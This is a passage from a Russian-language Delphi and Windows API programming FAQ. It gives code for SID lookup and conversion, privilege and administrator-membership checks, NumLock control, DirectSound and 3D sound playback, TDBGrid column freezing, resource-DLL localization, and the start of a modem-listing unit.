LsaString->Length = (USHORT) StringLength * sizeof(WCHAR);
LsaString->MaximumLength=(USHORT)(StringLength+1) * sizeof(WCHAR);
}
NTSTATUS
OpenPolicy(
LPWSTR ServerName,
DWORD DesiredAccess,
PLSA_HANDLE PolicyHandle
)
{
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
LSA_UNICODE_STRING ServerString;
PLSA_UNICODE_STRING Server = NULL;

//
// Always initialize the object attributes to all zeroes.
//
ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));

if (ServerName != NULL) {
//
// Make a LSA_UNICODE_STRING out of the LPWSTR passed in
//
InitLsaString(&ServerString, ServerName);
Server = &ServerString;
}

//
// Attempt to open the policy.
//
return LsaOpenPolicy(
Server,
&ObjectAttributes,
DesiredAccess,
PolicyHandle
);
}



Как узнать SID юзера?

Из исходника getadmin:

BOOL
GetAccountSid(
LPTSTR SystemName,
LPTSTR AccountName,
PSID *Sid
)
{
LPTSTR ReferencedDomain=NULL;
DWORD cbSid=128; // initial allocation attempt
DWORD cbReferencedDomain=16; // initial allocation size
SID_NAME_USE peUse;
BOOL bSuccess=FALSE; // assume this function will fail

__try {

//
// initial memory allocations
//
if((*Sid=HeapAlloc(
GetProcessHeap(),
0,
cbSid
)) == NULL) __leave;

if((ReferencedDomain=(LPTSTR)HeapAlloc(
GetProcessHeap(),
0,
cbReferencedDomain
)) == NULL) __leave;

//
// Obtain the SID of the specified account on the specified system.
//
while(!LookupAccountName(
SystemName, // machine to lookup account on
AccountName, // account to lookup
*Sid, // SID of interest
&cbSid, // size of SID
ReferencedDomain, // domain account was found on
&cbReferencedDomain,
&peUse
)) {
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
//
// reallocate memory
//
if((*Sid=HeapReAlloc(
GetProcessHeap(),
0,
*Sid,
cbSid
)) == NULL) __leave;

if((ReferencedDomain=(LPTSTR)HeapReAlloc(
GetProcessHeap(),
0,
ReferencedDomain,
cbReferencedDomain
)) == NULL) __leave;
}
else __leave;
}

//
// Indicate success.
//
bSuccess=TRUE;

} // finally
__finally {

//
// Cleanup and indicate failure, if appropriate.
//

HeapFree(GetProcessHeap(), 0, ReferencedDomain);

if(!bSuccess) {
if(*Sid != NULL) {
HeapFree(GetProcessHeap(), 0, *Sid);
*Sid = NULL;
}
}

} // finally

return bSuccess;
}



Как зтот самый SID привести к текстовому виду(например для загрузки HKEY_USERS)?

Смотри исходный текст:

// nearly straight from the SDK
BOOL Sid2Text( PSID ps, char *buf, int bufSize )
{
PSID_IDENTIFIER_AUTHORITY psia;
DWORD dwSubAuthorities;
DWORD dwSidRev = SID_REVISION;
DWORD i;
int n, size;
char *p;

// Validate the binary SID.

if ( ! IsValidSid( ps ) )
return FALSE;

// Get the identifier authority value from the SID.

psia = GetSidIdentifierAuthority( ps );

// Get the number of subauthorities in the SID.

dwSubAuthorities = *GetSidSubAuthorityCount( ps );

// Compute the buffer length.
// S-SID_REVISION- + IdentifierAuthority- + subauthorities- + NULL

size = 15 + 12 + ( 12 * dwSubAuthorities ) + 1;

// Check input buffer length.
// If too small, indicate the proper size and set last error.

if ( bufSize < size )
{
SetLastError( ERROR_INSUFFICIENT_BUFFER );
return FALSE;
}

// Add 'S' prefix and revision number to the string.

size = wsprintf( buf, "S-%lu-", dwSidRev );
p = buf + size;

// Add SID identifier authority to the string.

if ( psia->Value[0] != 0 || psia->Value[1] != 0 )
{
n = wsprintf( p, "0x%02hx%02hx%02hx%02hx%02hx%02hx",
(USHORT) psia->Value[0], (USHORT) psia->Value[1],
(USHORT) psia->Value[2], (USHORT) psia->Value[3],
(USHORT) psia->Value[4], (USHORT) psia->Value[5] );
size += n;
p += n;
}
else
{
n = wsprintf( p, "%lu", ( (ULONG) psia->Value[5] ) +
( (ULONG) psia->Value[4] << 8 ) + ( (ULONG) psia->Value[3] << 16 ) +
( (ULONG) psia->Value[2] << 24 ) );
size += n;
p += n;
}

// Add SID subauthorities to the string.

for ( i = 0; i < dwSubAuthorities; ++ i )
{
n = wsprintf( p, "-%lu", *GetSidSubAuthority( ps, i ) );
size += n;
p += n;
}

return TRUE;
}



Как узнать какие привилегии есть у пользователя ?

Исходный текст прилагается:

#include <windows.h>
#include <stdio.h>
#pragma hdrstop

void main()
{
HANDLE hToken;
LUID setcbnameValue;
TOKEN_PRIVILEGES tkp;
DWORD errcod;
LPVOID lpMsgBuf;
LPCTSTR msgptr;

UCHAR InfoBuffer[1000];
PTOKEN_PRIVILEGES ptgPrivileges = (PTOKEN_PRIVILEGES) InfoBuffer;
DWORD dwInfoBufferSize;
DWORD dwPrivilegeNameSize;
DWORD dwDisplayNameSize;
UCHAR ucPrivilegeName[500];
UCHAR ucDisplayName[500];
DWORD dwLangId;
UINT i;

if ( ! OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
puts( "OpenProcessToken" );
return;
}

// enumerate currently held privs (NOTE: not *enabled* privs, just the
// ones you _could_ enable as in the last part)

GetTokenInformation( hToken, TokenPrivileges, InfoBuffer,
sizeof InfoBuffer, &dwInfoBufferSize);

printf( "Account privileges: \n\n" );
for( i = 0; i < ptgPrivileges->PrivilegeCount; i ++ )
{
dwPrivilegeNameSize = sizeof ucPrivilegeName;
dwDisplayNameSize = sizeof ucDisplayName;
LookupPrivilegeName( NULL, &ptgPrivileges->Privileges[i].Luid,
ucPrivilegeName, &dwPrivilegeNameSize );
LookupPrivilegeDisplayName( NULL, ucPrivilegeName,
ucDisplayName, &dwDisplayNameSize, &dwLangId );
printf( "%40s (%s)\n", ucDisplayName, ucPrivilegeName );
}

}



Как проверить, имеем ли мы административные привилегии в системе?

// Routine: check if the user has administrator provileges
// Was converted from C source by Akzhan Abdulin. Not properly tested.
type
PTOKEN_GROUPS = TOKEN_GROUPS^;

function RunningAsAdministrator (): Boolean;
var
SystemSidAuthority: SID_IDENTIFIER_AUTHORITY = SECURITY_NT_AUTHORITY;
psidAdmin: PSID;
ptg: PTOKEN_GROUPS = nil;
htkThread: Integer; { HANDLE }
cbTokenGroups: Longint; { DWORD }
iGroup: Longint; { DWORD }
bAdmin: Boolean;

begin
Result := false;
if not OpenThreadToken(GetCurrentThread(), // get security token
TOKEN_QUERY,
FALSE,
htkThread) then
if GetLastError() = ERROR_NO_TOKEN then
begin
if not OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY,
htkThread) then
Exit;
end
else
Exit;
if GetTokenInformation(htkThread, // get #of groups
TokenGroups,
nil,
0,
cbTokenGroups) then
Exit;
if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then
Exit;
ptg := PTOKEN_GROUPS( getmem( cbTokenGroups ) );
if not Assigned(ptg) then
Exit;
if not GetTokenInformation(htkThread, // get groups
TokenGroups,
ptg,
cbTokenGroups,
cbTokenGroups) then
Exit;
if not AllocateAndInitializeSid(SystemSidAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
psidAdmin) then
Exit;
iGroup := 0;
while iGroup < ptg^.GroupCount do // check administrator group
begin
if EqualSid(ptg^.Groups[iGroup].Sid, psidAdmin) then
begin
Result := TRUE;
break;
end;
Inc( iGroup );
end;
FreeSid(psidAdmin);
end;

Два метода в одном флаконе:

#include <windows.h>
#include <stdio.h>
#include <lm.h>
#pragma hdrstop

#pragma comment( lib, "netapi32.lib" )

// My thanks to Jerry Coffin (jcoffin@taeus.com)
// for this much simpler method.
bool jerry_coffin_method()
{
bool result;
DWORD rc;
wchar_t user_name[256];
USER_INFO_1 *info;
DWORD size = sizeof( user_name );

GetUserNameW( user_name, &size);

rc = NetUserGetInfo( NULL, user_name, 1, (byte **) &info );
if ( rc != NERR_Success )
return false;

result = info->usri1_priv == USER_PRIV_ADMIN;

NetApiBufferFree( info );
return result;
}



bool look_at_token_method()
{
int found;
DWORD i, l;
HANDLE hTok;
PSID pAdminSid;
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;

byte rawGroupList[4096];
TOKEN_GROUPS&groupList = *( (TOKEN_GROUPS *) rawGroupList );

if ( ! OpenThreadToken( GetCurrentThread(), TOKEN_QUERY, FALSE, &hTok ) )
{
printf( "Cannot open thread token, trying process token [%lu].\n",
GetLastError() );
if ( ! OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY, &hTok ) )
{
printf( "Cannot open process token, quitting [%lu].\n",
GetLastError() );
return 1;
}
}

// normally, I should get the size of the group list first, but ...
l = sizeof rawGroupList;
if ( ! GetTokenInformation( hTok, TokenGroups, &groupList, l, &l ) )
{
printf( "Cannot get group list from token [%lu].\n",
GetLastError() );
return 1;
}

// here, we cobble up a SID for the Administrators group, to compare to.
if ( ! AllocateAndInitializeSid( &ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSid ) )
{
printf( "Cannot create SID for Administrators [%lu].\n",
GetLastError() );
return 1;
}

// now, loop through groups in token and compare
found = 0;
for ( i = 0; i < groupList.GroupCount; ++ i )
{
if ( EqualSid( pAdminSid, groupList.Groups[i].Sid ) )
{
found = 1;
break;
}
}

FreeSid( pAdminSid );
CloseHandle( hTok );
return !!found;
}

int main()
{
bool j, l;

j = jerry_coffin_method();
l = look_at_token_method();

printf( "NetUserGetInfo(): The current user is %san Administrator.\n",
j? "": "not " );
printf( "Process token: The current user is %sa member of the Administrators
group.\n",
l? "": "not " );

return 0;
}



Как программно включить или выключить NumLock?

var
abKeyState: array [0..255] of byte;
begin
GetKeyboardState( Addr( abKeyState[ 0 ] ) );
abKeyState[ VK_NUMLOCK ] := abKeyState[ VK_NUMLOCK ] or $01;
SetKeyboardState( Addr( abKeyState[ 0 ] ) );



Как использовать в своей программе API DirectSound и DirectSound3D?

Пример 1:

Представляю вашему вниманию рабочий пример использования DirectSound на
Delphi + несколько полезных процедур. В этом примере создается один первичный
SoundBuffer и 2 статических, вторичных; в них загружаются 2 WAV файла.
Первичный буфер создается процедурой AppCreateWritePrimaryBuffer, а любой
вторичный - AppCreateWritePrimaryBuffer. Так как вторичный буфер связан с WAV
файлом, то при создании буфера нужно определить его параметры в соответствии
со звуковым файлом, эти характеристики (Samples, Bits, IsStereo) задаются в
виде параметров процедуры. Time - время WAV'файл в секундах (округление в
сторону увеличения). При нажатии на кнопку происходит микширование из вторичных
буферов в первичный. AppWriteDataToBuffer позволяет записать в буфер
PCM сигнал. Процедура CopyWAVToBuffer открывает WAV файл, отделяет заголовок,
читает чанк 'data' и копирует его в буфер (при этом сначала считывается размер
данных, так как в некоторых WAV файлах существует текстовый довесок, и если его
не убрать, в динамиках возможен треск).

PS. Если есть какие-нибудь вопросы, постараюсь на них ответить.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
DirectSound : IDirectSound;
DirectSoundBuffer : IDirectSoundBuffer;
SecondarySoundBuffer : array[0..1] of IDirectSoundBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondaryBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer;
Bits: Word;
isStereo:Boolean;
Time: Integer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData;
SoundBytes: DWord);
procedure CopyWAVToBuffer(Name: PChar; var Buffer: IDirectSoundBuffer);
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
Raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[0],22050,8,False,10);
AppCreateWriteSecondaryBuffer(SecondarySoundBuffer[1],22050,16,True,1);
end;

procedure TForm1.FormDestroy(Sender: TObject);
var i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then DirectSoundBuffer.Release;
for i:=0 to 1 do
if Assigned(SecondarySoundBuffer[i]) then SecondarySoundBuffer[i].Release;
if Assigned(DirectSound) then DirectSound.Release;
end;

procedure TForm1.AppWriteDataToBuffer;
var AudioPtr1,AudioPtr2 : Pointer;
AudioBytes1,AudioBytes2 : DWord;
h : HResult;
Temp : Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0) <> DS_OK then
Raise Exception.Create('Unable to Lock Sound Buffer');
end else
if H <> DS_OK then Raise Exception.Create('Unable to Lock Sound Buffer');
Temp:=@SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1,AudioPtr2, AudioBytes2) <> DS_OK
then Raise Exception.Create('Unable to UnLock Sound Buffer');
end;

procedure TForm1.AppCreateWritePrimaryBuffer;
var BufferDesc : DSBUFFERDESC;
Caps : DSBCaps;
PCM : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK
then Raise Exception.Create('Unable to set Coopeative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK
then Raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK
then Raise Exception.Create('Unable to set Coopeative Level');
end;

procedure TForm1.AppCreateWriteSecondaryBuffer;
var BufferDesc : DSBUFFERDESC;
Caps : DSBCaps;
PCM : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then PCM.nChannels:=2 else PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
end;

procedure TForm1.CopyWAVToBuffer;
var Data : PChar;
FName : TFileStream;
DataSize : DWord;
Chunk : String[4];
Pos : Integer;
begin
FName:=TFileStream.Create(Name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.Read(Chunk[1],4);
Inc(Pos);
until Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.Read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.Read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
CopyWAVToBuffer('1.wav',SecondarySoundBuffer[0]);
CopyWAVToBuffer('flip.wav',SecondarySoundBuffer[1]);

if SecondarySoundBuffer[0].Play(0,0,0) <> DS_OK
then ShowMessage('Can''t play the Sound');

if SecondarySoundBuffer[1].Play(0,0,0) <> DS_OK
then ShowMessage('Can''t play the Sound');
end;

end.

Пример 2:

Представляю вашему вниманию очередной пример работы с DirectSound на Delphi.
В этом примере показан принцип работы с 3D буфером. Итак, процедуры
AppCreateWritePrimaryBuffer, AppWriteDataToBuffer, CopyWAVToBuffer я оставил
без изменения (см. письма с до этого). Процедура
AppCreateWriteSecondary3DBuffer является полным аналогом процедуры
AppCreateWriteSecondaryBuffer, за исключением флага DSBCAPS_CTRL3D, который
указывает на то, что со статическим вторичным буфером будет связан еще один
буфер - SecondarySound3DBuffer. Чтобы его инициализировать, а также установить
некоторые начальные значения (положение в пространстве, скорость и .т.д.)
вызывается процедура AppSetSecondary3DBuffer, в качестве параметров которой
передаются сам SecondarySoundBuffer и связанный с ним SecondarySound3DBuffer.
В этой процедуре SecondarySound3DBuffer инициализируется с помощью метода
QueryInterface c соответствующим флагом. Кроме того, здесь же устанавливается
положение источника звука в пространстве: SetPosition(Pos,1,1,0).
X,Y,Z

Таким образом в начальный момент времени источник находится на высоте 1 м
(ось Y направлена вертикально вверх, а ось Z - "в экран").
Если смотреть сверху :

^ Z
|
А |
|
O----------------> X

Точка O (фактически вы) имеет координаты (0,0), источник звука А(-25,1).
Разумеется понятие "метр" весьма условно.

При нажатии на кнопку в буфер SecondarySoundBuffer загружается звук
'xhe4.wav'. Это звук работающего винта вертолета, его длина (звука) ровно
3.99 с (а размер буфера ровно 4 с). Далее происходит микширование из вторичного
буфера в первичный с флагом DSBPLAY_LOOPING, что позволяет сделать многократно
повторяющийся звук; время в 0.01 с ухом практически не улавливается и
получается непрерывный звук летящего вертолета. После этого запускется таймер
(поле INTERVAL в Инспекторе Оъектов установлено в 1). Разумеется вам совсем
необязательно делать именно так, это просто пример. В процедуре Timer1Timer
просто меняется координата X с шагом 0.1.

В итоге получаем летящий вертолет слева направо. Заодно можете проверить,
правильно ли у вас расположены колонки.

PS. Если есть вопросы, постараюсь на них ответить.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, DSound, MMSystem, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
DirectSound : IDirectSound;
DirectSoundBuffer : IDirectSoundBuffer;
SecondarySoundBuffer : IDirectSoundBuffer;
SecondarySound3DBuffer : IDirectSound3DBuffer;
procedure AppCreateWritePrimaryBuffer;
procedure AppCreateWriteSecondary3DBuffer(var Buffer: IDirectSoundBuffer;
SamplesPerSec: Integer;
Bits: Word;
isStereo:Boolean;
Time: Integer);
procedure AppSetSecondary3DBuffer(var Buffer: IDirectSoundBuffer;
var _3DBuffer: IDirectSound3DBuffer);
procedure AppWriteDataToBuffer(Buffer: IDirectSoundBuffer;
OffSet: DWord; var SoundData;
SoundBytes: DWord);
procedure CopyWAVToBuffer(Name: PChar; var Buffer: IDirectSoundBuffer);
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var Result : HResult;
begin
if DirectSoundCreate(nil, DirectSound, nil) <> DS_OK then
Raise Exception.Create('Failed to create IDirectSound object');
AppCreateWritePrimaryBuffer;
AppCreateWriteSecondary3DBuffer(SecondarySoundBuffer,22050,8,False,4);
AppSetSecondary3DBuffer(SecondarySoundBuffer,SecondarySound3DBuffer);
Timer1.Enabled:=False;
end;

procedure TForm1.FormDestroy(Sender: TObject);
var i: ShortInt;
begin
if Assigned(DirectSoundBuffer) then DirectSoundBuffer.Release;
if Assigned(SecondarySound3DBuffer) then SecondarySound3DBuffer.Release;
if Assigned(SecondarySoundBuffer) then SecondarySoundBuffer.Release;
if Assigned(DirectSound) then DirectSound.Release;
end;

procedure TForm1.AppCreateWritePrimaryBuffer;
var BufferDesc : DSBUFFERDESC;
Caps : DSBCaps;
PCM : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
PCM.nChannels:=2;
PCM.nSamplesPerSec:=22050;
PCM.nBlockAlign:=4;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=16;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_PRIMARYBUFFER;
dwBufferBytes:=0;
lpwfxFormat:=nil;
end;
if DirectSound.SetCooperativeLevel(Handle,DSSCL_WRITEPRIMARY) <> DS_OK
then Raise Exception.Create('Unable to set Cooperative Level');
if DirectSound.CreateSoundBuffer(BufferDesc,DirectSoundBuffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
if DirectSoundBuffer.SetFormat(PCM) <> DS_OK
then Raise Exception.Create('Unable to Set Format ');
if DirectSound.SetCooperativeLevel(Handle,DSSCL_NORMAL) <> DS_OK
then Raise Exception.Create('Unable to set Cooperative Level');
end;

procedure TForm1.AppCreateWriteSecondary3DBuffer;
var BufferDesc : DSBUFFERDESC;
Caps : DSBCaps;
PCM : TWaveFormatEx;
begin
FillChar(BufferDesc, SizeOf(DSBUFFERDESC),0);
FillChar(PCM, SizeOf(TWaveFormatEx),0);
with BufferDesc do
begin
PCM.wFormatTag:=WAVE_FORMAT_PCM;
if isStereo then PCM.nChannels:=2 else PCM.nChannels:=1;
PCM.nSamplesPerSec:=SamplesPerSec;
PCM.nBlockAlign:=(Bits div 8)*PCM.nChannels;
PCM.nAvgBytesPerSec:=PCM.nSamplesPerSec * PCM.nBlockAlign;
PCM.wBitsPerSample:=Bits;
PCM.cbSize:=0;
dwSize:=SizeOf(DSBUFFERDESC);
dwFlags:=DSBCAPS_STATIC or DSBCAPS_CTRL3D;
dwBufferBytes:=Time*PCM.nAvgBytesPerSec;
lpwfxFormat:=@PCM;
end;
if DirectSound.CreateSoundBuffer(BufferDesc,Buffer,nil) <> DS_OK
then Raise Exception.Create('Create Sound Buffer failed');
end;

procedure TForm1.AppWriteDataToBuffer;
var AudioPtr1,AudioPtr2 : Pointer;
AudioBytes1,AudioBytes2 : DWord;
h : HResult;
Temp : Pointer;
begin
H:=Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0);
if H = DSERR_BUFFERLOST then
begin
Buffer.Restore;
if Buffer.Lock(OffSet, SoundBytes, AudioPtr1, AudioBytes1,
AudioPtr2, AudioBytes2, 0) <> DS_OK then
Raise Exception.Create('Unable to Lock Sound Buffer');
end else
if H <> DS_OK then Raise Exception.Create('Unable to Lock Sound Buffer');
Temp:=@SoundData;
Move(Temp^, AudioPtr1^, AudioBytes1);
if AudioPtr2 <> nil then
begin
Temp:=@SoundData; Inc(Integer(Temp), AudioBytes1);
Move(Temp^, AudioPtr2^, AudioBytes2);
end;
if Buffer.UnLock(AudioPtr1, AudioBytes1, AudioPtr2, AudioBytes2) <> DS_OK
then Raise Exception.Create('Unable to UnLock Sound Buffer');
end;

procedure TForm1.CopyWAVToBuffer;
var Data : PChar;
FName : TFileStream;
DataSize : DWord;
Chunk : String[4];
Pos : Integer;
begin
FName:=TFileStream.Create(Name,fmOpenRead);
Pos:=24;
SetLength(Chunk,4);
repeat
FName.Seek(Pos, soFromBeginning);
FName.Read(Chunk[1],4);
Inc(Pos);
until Chunk = 'data';
FName.Seek(Pos+3, soFromBeginning);
FName.Read(DataSize, SizeOf(DWord));
GetMem(Data,DataSize);
FName.Read(Data^, DataSize);
FName.Free;
AppWriteDataToBuffer(Buffer,0,Data^,DataSize);
FreeMem(Data,DataSize);
end;

var Pos : Single = -25;

procedure TForm1.AppSetSecondary3DBuffer;
begin
if Buffer.QueryInterface(IID_IDirectSound3DBuffer, _3DBuffer) <> DS_OK then
Raise Exception.Create('Failed to create IDirectSound3D object');
if _3DBuffer.SetPosition(Pos,1,1,0) <> DS_OK then
Raise Exception.Create('Failed to set IDirectSound3D Position');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
CopyWAVToBuffer('xhe4.wav',SecondarySoundBuffer);

if SecondarySoundBuffer.Play(0,0,DSBPLAY_LOOPING) <> DS_OK
then ShowMessage('Can''t play the Sound');

Timer1.Enabled:=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
SecondarySound3DBuffer.SetPosition(Pos,1,1,0);
Pos:=Pos + 0.1;
end;

end.



Как зафиксировать один или несколько столбцов в TDBGrid с возможностью навигации по этим столбцам?

Это маленькая вставка в Ваш наследник от TCustomDBGrid, которая решает данную
задачу.

=== Begin DBGRIDEX.PAS ===
destructor TDbGridEx.Destroy;
begin

_HideColumnsValues.Free;
_HideColumns.Free;

inherited Destroy;
end;

constructor TDbGridEx.Create(Component : TComponent);
begin
inherited Create(Component);

FFreezeCols := ?;

_HideColumnsValues := TList.Create;
_HideColumns := TList.Create;
end;

procedure TDbGridEx.KeyDown(var Key: Word; Shift: TShiftState);
begin
if (Key = VK_LEFT) then ColBeforeEnter(-1);
if (Key = VK_RIGHT) then ColBeforeEnter(1);

inherited;
end;

procedure TDbGridEx.SetFreezeColor(AColor : TColor);
begin
InvalidateRow(0);
end;

procedure TDbGridEx.SetFreezeCols(AFreezeCols : Integer);
begin
FFreezeCols := AFreezeCols;
InvalidateRow(0);
end;

procedure TDbGridEx.ColEnter;
begin
ColBeforeEnter(0);

if Assigned(OnColEnter) then OnColEnter(Self);
end;

procedure TDbGridEx.ColBeforeEnter(ADelta : Integer);
var
nIndex : Integer;

function ReadWidth : Integer;
var
i : Integer;

begin
i := _HideColumns.IndexOf(Columns[nIndex]);

if i = -1
then result := 120
else result := Integer(_HideColumnsValues[i]);
end;

procedure SaveWidth;
var
i : Integer;

begin
i := _HideColumns.IndexOf(Columns[nIndex]);
if i <> - 1 then
begin
_HideColumnsValues[i] := Pointer(Columns[nIndex].Width);
end else
begin
_HideColumns.Add(Columns[nIndex]);
_HideColumnsValues.Add(Pointer(Columns[nIndex].Width));
end;
end;

begin
for nIndex := 0 to Columns.Count - 1 do
begin
if (Columns[nIndex].Width = 0) then
begin
if (nIndex + 1 <= FreezeCols) or (nIndex >= SelectedIndex + ADelta)
then Columns[nIndex].Width := ReadWidth;
end
else
begin
SaveWidth;
if (nIndex + 1 > FreezeCols) and
(nIndex < SelectedIndex + ADelta) and
(nIndex + 1 < Columns.Count) and
(FreezeCols > 0)
then Columns[nIndex].Width := 0;
end;
end;
end;
=== End DBGRIDEX.PAS ===



Как проводить локализацию своих приложений?

[D4] В Delphi 3 и 4 есть специальные механизмы, позволяющие приложение
"переделать" на любой язык после компиляции. Для D3 надо посмотреть в хелпе,
по-моему, internationalization или что-то в этом роде.
Для D4 вообще все делается ОЧЕHЬ просто:

1. берется проект, компилируется
2. тут-же не закрывая проект вызвается New|Resource DLL Wizard
в нем указывается какие формы и модули должны подвергнуться
переводу на другой язык.
3. в результате работы Wizard появляется проект (!) с RC и DFM.
Открываем формы, и переделываем все сообщения + размер (соотв. длине
сообщений). Компилируем. В результате получается файл xxxxxxx.rus,
где xxxxxxx - название исходного проекта.
4. Запускаем xxxxxxx.exe. Видим некий не наш язык. Подкладываем
в каталог с этим exe изготовленный файл xxxxxxx.rus, и запускаем
exe повторно. Видим абсолютно ВЕЗДЕ переведенные сообщения.

p.s. файл RUS можно подставлять и убирать по вкусу.

Вот, случайно набpели в хэлпе. Если нужно изменить pесуpсы какого-либо модуля,
то это можно делать с помощью нехитpой опеpации:
1) Вынимаете pесуpсы из этого модуля.
2) Пеpеводите их на дpугой язык. (напpимеp pусский)
3) Создаете в Delphi свой пpоект Dll-ки (с именем того модуля, из котоpого вы
вынули pесуpсы, напpимеp vcl30), в котоpый включаете _пеpеведенные_
pесуpсы:
{$R vcl30rus.res}
4) Собиpаете все это.
5) Пеpеименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System.
Если вы хотите, пpиложение "говоpило" по pусски только тогда, когда в
pегиональных установках стоит Russia - то тогда это все.
Если же вы хотите, чтобы ваше пpиложение _всегда_ поднимало pусские pесуpсы,
то необходимо сделать следующее добавление в Registry:
HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales
"X:\MyProject\MyApp.exe" = "rus"

Тепеpь, когда ваше пpиложение будет поднимать pakages, то всегда будут бpаться
pусские pесуpсы. Дpугие пpиложения, напpимеp Delphi - это не затpонет.
Таким обpазом можно заменять даже DFM-ки из пpоекта.

Более подpобно об этом - см Help - Index - Localizing...



Как получить список установленных модемов в Windows?

unit PortInfo;

interface

uses Windows, SysUtils, Classes, Registry;

function EnumModems : TStrings;

implementation

function EnumModems : TStrings;
var
R : TRegistry;
s : ShortString;
N : TStringList;
i : integer;
j : integer;
begin
Result:= TStringList.Create;
R:= TRegistry.Create;
try
with R do begin
RootKey:= HKEY_LOCAL_MACHINE;
